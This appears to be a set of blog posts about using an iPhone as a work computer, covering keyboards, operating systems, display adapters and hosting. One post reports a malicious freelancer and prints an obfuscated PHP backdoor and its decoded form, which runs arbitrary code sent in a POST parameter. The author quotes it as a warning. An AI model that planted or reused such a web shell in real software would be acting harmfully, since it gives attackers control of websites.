Period Shortcut on iPhone

I’ve never been a big fan of cloud based applications or cloud based programming as a general rule, because I lose control over what I’m working on, it’s more difficult to use those services when I’m traveling with spotty connectivity, etc. But for the sake of moving down the path of a phone desktop replacement, it’s important to get at least vaguely comfortable with the idea that if you need to do some programming work, you’re probably not going to want to be doing that on your phone.

I’ll talk about doing dev-work on the phone itself in a bit, but for now, let’s talk about cloud solutions. Over the last week I’ve slowly gotten myself used to connecting through iSSH to remote Amazon Elastic Cloud Computing (EC2) servers to test various features, develop simple applications and general ease of use. I’ll dissect iSSH at a later date as well, but I ran into other interesting issues almost immediately.

Firstly, as I said in a previous post, I use Vi (or Vim) as an online editor fairly regularly, because it makes my life easier. However, there’s a usability feature of the iPhone that gets in the way. If you hit double space on the iPhone it creates a period. If you in Vi a period will do one of two things. It will either write a physical period if you are in editing mode, or it will run the previous command. Yes, whatever thing you just did, it will do it again. So if you were just editing something and you added a word, that word will get added again. Extremely frustrating.

If you’ve seen the Silicon Valley episode for spaces verses tabs, you’re probably chuckling to yourself right now, but the reason I use spaces is because terminals are often fixed-width and line wrapping is reduced when you use spaces. Anyway, without getting into a religious war, on the iPhone it can be overridden by going to Settings – Keyboard – “.” Shortcut and disabling that shortcut checkbox.

	Disable
Disable “.” Shortcut

Ideally something like this would be optional and easy to enable or disable on an app by app basis when a user identifies a problem with their shortcuts. But for now, this workaround does work well, if you are okay disabling this otherwise helpful shortcut for the rest of the applications that need it.

Omoton vs Apple Keyboards

In a previous blog post I mentioned trying out the Omoton Bluetooth keyboard. After a few weeks of trying to get used to the Omoton keyboard I’ve decided it’s not a good fit for this type of task. The important thing that’s missing is an escape key.

A single key may not seem like that big of a deal but it really truly is for programmers. And now I’m going to get into a religious war, beware. There is a lot of people who really believe that in the Emacs vs Vi world, that Emacs is better. And it may very well be better. But on many systems there is no Emacs installed. In fact there may not even be Vi installed, but rather Vi’s grandfather, Ed, which has many of the same keyboard commands. So if you aren’t familiar with Vi you often are far less useful on things like embedded systems that require a minimal install. Anyway, it’s not a religious issue for me, I just have gotten used to being able to do whatever I need to using Vi or Vim.

But for Vi to work you need an escape key to jump out of editing mode. The Omoton keyboard simply doesn’t have it. So I purchased the certified Apple Bluetooth keyboard, typically designed for iPads and was immediately happy with the ability to jump in and out of editing mode when on a server over the iSSH application.

Was it worth the extra expense? I think it was and will continue to be a useful tool for when I need to connect to servers. For most people who don’t code, I don’t think the added expense is necessary since they are effectively the same in other respects.

Going Lighweight

Going lightweight has always been a passion of mine. How light can I be? It’s not just a comfort thing, although comfort is nice. But when you have fewer physical things, there are fewer things to worry about. Or said another way, when you have everything you need and your expectations of what said needs are is set low enough, you are not inconvenienced by anything.

First, let’s talk about comfort. My main laptop is very light (I say main laptop because I have a half a dozen of them – most out of commission). It’s a Windows Surface Book and it’s amazing. Lots of great features, plenty fast, great battery life, and can act as a tablet or a full computing environment. That’s great, but it’s also heavy, or at least compared to a smart phone. It’s heavy enough that if I were able to shrink it down to handheld weight I wouldn’t want it as my phone. The aspect that I like about the phone is it’s convenient because I have it, and I have it because it’s small, light and does a lot of things relatively well.

Comfort means two things, comfort to carry said device on your person and comfort to carry it as you travel. I find that the modern cell phone is light enough I don’t actually notice when I’m carrying it. And it’s also light enough that it’s a shoe-in for long travel where poundage matters to the total ability to travel without being inconvenienced by the addition weight.

Second is the burden of traveling with the device. There is a large mental consequence to worrying about your possessions. Since carrying a laptop with you everywhere is unlikely, if you care about your equipment you need to trust nothing will happen when you leave your bag under the table at the restaurant while you’re in the bathroom, worry about it but do nothing, or be the nut job who carries their laptop to the bathroom.

I personally think enough of my brainpower is spent worrying about the physical whereabouts of my computer equipment that I’m less effective at socializing and moving around from place to place. If I can avoid worrying as much because my equipment is with me at all times, I can dedicate the mental resources to the business I’m there to attend to. It’s a huge burden lifted.

I have traveled Internationally with just a burner phone and no laptops for years. I can say it feels a bit naked but also extremely liberating to be traveling with everything on your person and knowing if any of it is lost there’s very little financial damage done.

Phone VS Tablet

Why a phone? Why not a tablet, like a Windows Surface or an iPad? It’s one of the first questions I get asked when I start explaining this experiment. Or someone will scoff because if it can be done with an iPad or tablet, surely a phone is the natural extension and plenty of people have ditched their laptops for a tablet.

There’s two very major differences (and a whole bunch of others that I won’t get into). First, the size. That may seem obvious, but with a smaller form factor you get one major pro and a bunch of cons. The phone is far far more portable than an iPad. Are you really going to carry an iPad to the Opera, or dancing? If you’re going out drinking are you bringing your iPad with you? Sure, maybe if you’re a huge nerd who doesn’t care about carrying a bag around with you everywhere. But normal people under a normal circumstance will be reluctant to have a tablet with them if it doesn’t naturally fit with their attire.

It reminds me of the old adage that “the best camera is the one you have on you.” That speaks to why phones have become the dominant camera platform on the planet, far exceeding the big boys like Nikon, Cannon, etc. But it also speaks to why your cell phone is the right choice if ubiquity of access is important. If you have a cell phone on you at all times, you’re far more likely to use it and all of it’s potential. That can be good or bad depending on your lifestyle, but for sake of argument that it’s always a good thing to have your work environment when you need it.

The second thing is that the operating system and the way apps work are different. For instance context switching between apps works differently on the different operating systems – a topic I’ll spend a lot more time on later. But it is slightly more difficult to use the phone if you need to switch apps quickly in your work environment.

It may seem like minutia, but while tablets may be reminiscent of the phone, they are different enough that I think discussing them as a desktop or laptop alternative is a much simpler task compared to the phone. But hopefully we can change all that and make the phone the go-to for the people who want true mobility.

Upwork Outsourcing

As part of this experiment I decided to outsource the updating of this website with better graphics and layout. This was clearly done by someone on their cell phone and that’s not cutting it!  So I turned to Upwork (used to be Odesk for those of you who are familiar with the old name).

Setting up an account was a bit painful since their app doesn’t currently support the entire suite of tools on their website. Switching between the mobile browser and the app was a bit annoying, but it did work. After finally getting authorized, setting up payment, and getting a developer I was off to the races.

Things were going okay at first, for the first week or so. Regular communication and clear deadlines are important. But this particular developer had some tricks up their sleeves. Firstly, the account they used was a front for a larger dev team. That dev team wasn’t willing to use the built-in Upwork feature to track their time. That was my first clue that something was about to go awry.

The second is that it took 40 hours to package up the code for delivery – something that should have been extremely simple to do if the code was indeed being developed in any professional way.  But the last issue was the kicker.

When I got the code it was in a format the the iPhone can’t easily handle – zip files. So I broke my rule and downloaded it into a computer and before I could even unzip it, Microsoft’s Security Essentials found something that looked suspicious. So I dug into the code and found 6 PHP back doors that would allow this developer and their team to get access to this site.

Here’s an example of what the code looked like:

<?php $viu0="sutpe_or"; $iwvk7=$viu0[0].$viu0[2].$viu0[7].$viu0[2].$viu0[6].$viu0[1].$viu0[3].$viu0[3].$viu0[4].$viu0[7]; $uvwh73=$iwvk7 ($viu0[5].$viu0[3].$viu0[6].$viu0[0].$viu0[2]); if(isset(${$uvwh73}['q490ded'])){eval( ${$uvwh73}['q490ded']);} ?>

And after it’s decoded, this is what it looks like:

<?php if(isset(${_POST}['q490ded'])){eval(${_POST}['q490ded']);} ?>

Basically what this says is that any time their team went to my website and did a POST request to my site with the above parameter they would have been able to run any command they wanted to as if they had the same level of access that I had. That’s a bad thing if you’ve never heard of such a thing.

This points to two major failings of using the cell phone – uncompressing, navigating and finding issues within files is always going to be a bit more complex, except on things like unlocked Android environments. Secondly, even attempting to use a cell phone for this type of task became overwhelmingly painful even in such a simple task as receiving content and uploading it to the site.

I’ve contested the work the developer did, but as a smart phone executive, this is something to be wary of. I have very little concerns with Upwork as a company, but the developers you happen to be saddled with are a mixed bag and you need to be extremely cautious of their eventual work product.

Update: less than one day later the funds have been returned! Thanks to Upwork, Joe, and Dennis for helping in this matter!

Upwork Response

Windows Continuum

Before going too far down the path of discussing using your phone as a work computer, it’s worth discussing Windows Continuum. If you haven’t seen it, it’s worth a watch. Microsoft is keenly aware that people are going to start wanting to use their phone as a desktop environment. It’s simply a matter of time before they become far more integrated – as drive density increases, CPUs become less battery hogs and hardware becomes better, people like me will start popping up more and more without even necessarily being aware of the shift they are making.

The video makes some very good points. Firstly, Windows isn’t quite the full desktop environment. The ARM architecture is both a huge advantage for the phone and a big disadvantage for the market place. When I have spoken with Windows evangalists about this and other issues related to increased resolution and the effects on legacy applications their tough love approach is, “Those legacy apps will have to upgrade.”

That’s all well and good, but it does make working on a phone a significantly harder and slower experience. I suppose one could be upset with that answer, but I think Microsoft is basically correct – yes, it breaks stuff, and yes, some legacy apps are no longer supported, but progress can’t be thwarted by one legacy app, or you end up with companies still running IE6.0 internally due to ActiveX controls *cough*.

Continuum has the advantage of having the easy shortcuts like alt-tab and a mouse that make usability far superior than say, an iPhone. However, it’s missing a lot of the core features that people know and love about Windows (for those who know and love Windows that is). Limited access to the file system is a bit of a miss, and lack of support for non-metro apps will haunt it for a while until application developers get on the bandwagon.

I actually love the idea that Windows Continuum stands for, and I really hope they continue developing down this path. If nothing else it shows that Microsoft is actually leading the pack in the desktop/phone crossover space. Only time will tell who wins, but they’ve got a healthy lead in usabability.

Which OS and Why?

The first comments I got when I started this blog was, “Why the iPhone” or “Why not Android?”  The short answer is that I’m not married to any phone, and I intend to try many out in the process of writing this blog. But not everyone has the means or interest in trying out lots of devices. So they still need the question answered, “Which Phone should I choose?”

To answer that question, I need to give you a bit of background on how I view the ecosystem.  I don’t think about phones in a vacuum, I think about them holistically with their big daddy desktop/laptop operating systems.  So let’s look at the other options first:

Just a few of the Phones I’ve Owned Going Into This Project
Windows:

  • Windows 7 and 10 are both really nice operating systems to use.  Say what you will, but Windows has done a really nice job with those operating systems if you need to be productive.  We can all joke about how bad Windows 8 was, but why exactly was it bad?  In my opinion it’s because Windows was fighting to make Metro a part of the desktop environment and it was their first very bad attempt to make that happen.  Why does Metro matter so much?  It matters because if they get it right, there will be a seemless switch between mobile and desktop.  If I had a Windows Operating system on my phone that was powerful enough to act as a desktop, which they are for most people, it should be a seemless switch to pick up my phone and take my tools, my data and my environment with me.  A phone that can act as a desktop is the holy grail and Microsoft gets this design ethos better than anyone.  When Windows 10 came out, you saw them shrink the Metro interface into the start menu and behold, it looks a lot like the phone viewport now.  Windows 10 gets it right.  It’s an open (not as in open source, but open as it I can install and run virtually anything from anywhere) OS.
  • Windows Mobile – the little phone OS that could.  I know a lot of people who swear by it.  I actually really enjoyed my Windows phone when I first started using it.  It’s nearly identical to the Metro interface of Windows 10, which is to say, it’s kinda ugly but very powerful.  As a tool for doing work, it’s a solid choice.  Apps, however, are lagging way behind the iPhone and Android market and Metro is actually different enough that many things don’t work the same.

Android:

  • Chrome OS is the most locked down desktop operating system on the market.  It’s designed to limit the user to only certain types of cloud based applications or whatever can run in the browser.  I admit that cloud based applications give the user an incredibly large array of things, but as a desktop operating system it’s a poor choice for someone who needs to install and run applications, have local files, or do any meaningful non-web related work.  Therefore it would never be an option for someone like myself.  But I do get the appeal for users who need a lightweight, cheap and powerful email and browsing platform.  It’s enough to use TurboTax online and shop Amazon and for most people that’s good enough.
  • Android is the most open mobile phone OS on the market, which is odd, because their desktop environment is so closed.  This is one of the weird paradoxes of their stance on security and it makes it nearly impossible to consider Android and ChromeOS as the same family of product or even compatible beyond whatever cloud applications they tie into.  Android is comparable to iOS in terms of security, but Android third party app market places are as Old Ben Kanobi said, “the most wretched hive of scum and villainy.”  Google’s stance on privacy has always made them incompatible with my needs as a privacy/security guy and that requires a lot of work on the user’s side to correct/mitigate if they are concerned about it.  Android is really a family of phones, and therefore some software that might work on one phone perfectly may not run at all on another, which can make the app store experience frustrating.  So although Android is easily the best choice for flexibility and power, it’s lack of compatibility with a desktop OS and it’s messy third party app store/ecosystem makes it a bit of a wash.

Apple:

  • OSX is a nice looking OS with relatively nice features.  It’s based on FreeBSD, which is a very robust Unix derivative that has wonderful security features.  As a result, it is very easy to develop applications for it, and run a full feature set of software, giving you as granular access as you want – as long as you’re not publishing commercial software, which is a different story.  But as a user and producer of content, it’s a very nice operating system.  I do have a long list of issues with the usability of the OS, but it’s come a long way.
  • iOS on the other hand is basically perfect in terms of usability compared to OSX.  Literally children and pets can use it.  iOS, however, is an extremely locked down OS – similar to ChromeOS in that regard.  It has virtually no congruence with the Desktop operating system either beyond a syncing application, some of the UI elements like search and it’s “Handoff” function.  But what makes up for that is that it does have the best app store of any product in terms of safety and offerings.  There can be some compatibility issues with screen resolution in apps – particularly with newer phones until everyone adjusts.  But Apple has also made a commitment to trying to make their phones harder to break into, which is a big plus for a weary privacy advocate/business traveler.

I know I didn’t mention some esoteric phones operating systems like Firefox OS, Sailfish OS, Tizen, Ubuntu Touch, or even well known ones like Blackberry OS.  That is intentional.  For this experiment, I’ll be focused on the most common devices.

After having dozens of phones, and having plenty of opportunities to try this experiment before, the current generation of phones have all, almost accidentally become the perfect phones to attempt this experiment.  The answer of “Which smart phone is best” will end up being a matter of preference, security needs, corporate policy oversight, hardware features and possibly a matter of app capabilities.  There is no perfect phone for everyone.  But there are a lot of really excellent phones out there.

Smartphone Keyboards

The next step to increasing your ability to work efficiently is getting yourself a good keyboard.  One of my largest gripes with most modern smart phones is that they lack a physical keyboard.

But two things have changed since the early days.  Firstly, the touch screens have gotten good enough and they keyboard layout is close enough to that of a full sized keyboard that you can get most work done.  Secondly, Bluetooth has gotten much more secure and now it’s nowhere near as dangerous as it used to be to use a Bluetooth keyboard.

Granted, I still wouldn’t use a wireless keyboard if I thought there was an adversary nearby, but thankfully, that’s not as big of a deal when you’re not travelling.  Still, it’s a worry, so I disable Bluetooth whenever I’m not using it.

So, a stand alone lightweight Bluetooth keyboard is a real option.  It gives you the flexibility to write long-form prose, program, or operate your phone with far greater speed.  That’s what a producer of content needs – speed of throughput.  This makes using the phone a lot more viable as a full-time platform.

Bluetooth Keyboard from Omoton
This is the Bluetooth keyboard from Omoton.  It’s just around $14, and is lightweight, has multiple weeks of battery life using two AAA batteries.  It has a regular sized QUERTY keyboard interface, and most of the functions you’d expect to see of a keyboard of it’s size.  The arrow keys are strangely very useful when you’re writing, because taking your hands off they keyboard to re-position the cursor can be very slow compared to moving the arrow keys around.

This keyboard will likely not be my last. As a programming keyboard it has a lot wrong with it. Not the least of which is the lack of an escape key and like MacOS Delete is actually backspace and there is no delete key, which requires keyboard emulation.  But it does provide me with a tremendous speed advantage in creating new content.  I’d highly recommend getting something like this if you do tend to do a lot of data entry.

Consuming Vs Creating

One of the very first problems I run into when deciding whether a device is simply capable of being one for consumption or is capable of more, is knowing if it can be used in day to day operations.

Firstly, let’s say for a second that I believed that a smart phone could be leveraged in terms of CPU, memory, etc. you’d still have to overcome some major limitations on general usability.

The first issue I came across is that if I’m going to use a smart phone in my work day, I’m going to be needing a bigger monitor.  The first option is Airplay or Chromecast.  Sure I could do work on my couch, but like many other people, I have multiple monitors and need to be able to use multiple computers for my non-smart phone exec type work.

So the couch is out (for today) though, I’m not against the idea conceptually.  Instead, I need to use a monitor.  The easiest way I found to do this is to buy a simple HDMI adapter.

Photo of a Samsung Monitor Mirroring Me Taking A Photo With the iPhone

The HDMI adapter has two uses.  The first is that it allows you to connect to a monitor.  The second is that it allows you to connect to overhead projectors for when you need to have a meeting and display something.  Yes, your smart phone will become your display for presentations as well – all with one small little dongle that is easily shoved in your bag.

HDMI and VGA Dongles

Once you connect your phone it still acts just like the phone would.  Touch control still works.  Vertical and Horizontal alignment affects layout of the monitor, etc.  But now you have a full sized screen and won’t have to be hunched over all day trying to read things.  Minor usability increases have a huge effect on your ability to produce new content.

Each one of these connectors can set you back around $50 or so.  Some are cheaper, especially non-certified versions.  I haven’t had any problems with any of them, but your mileage may vary.

But wait, that’s not all.  The tiny slot next to the VGA female connector also accepts an iPhone charger cable.  So you can be charging your phone while you work without using any extra cables or parts.  Pretty slick!  It all adds up.

WordPress Hosting

A customer facing exec is going to want a blog, like this one. And even if you don’t want one, you’re going to need one. Get over it. Get used to it. Get to love it. It’s your voice, your mouthpiece and your connection to the community at large.

I’ve played with a lot of self hosted CMSs, and even forked WordPress at one point. But you shouldn’t put yourself behind the eightball. You need to keep yourself light and let other people hand administration and security unless you absolutely can’t for some reason.

That’s where WPEngine comes into play. The site has a simple configuration system that can get you up in running in almost no time at all.

WPEngine Login Page
WPEngine’s Administrative Console
  1. Point DNS to the correct IP address for the site (like 123.123.123.123) within Godaddy or whichever registrar you’ve chosen.
  2. Change WordPress to the new domain URL (like www.smartphoneexec.com)
  3. Update the domain settings in WPengine to reflect the new domain that you’ve chosen.
  4. Wait up to 30 minutes for your registrar to push the DNS settings.

And just like that, you have a blog and a conduit to your community. Pretty simple. For around $350 a year you could be up and running in just a few minutes.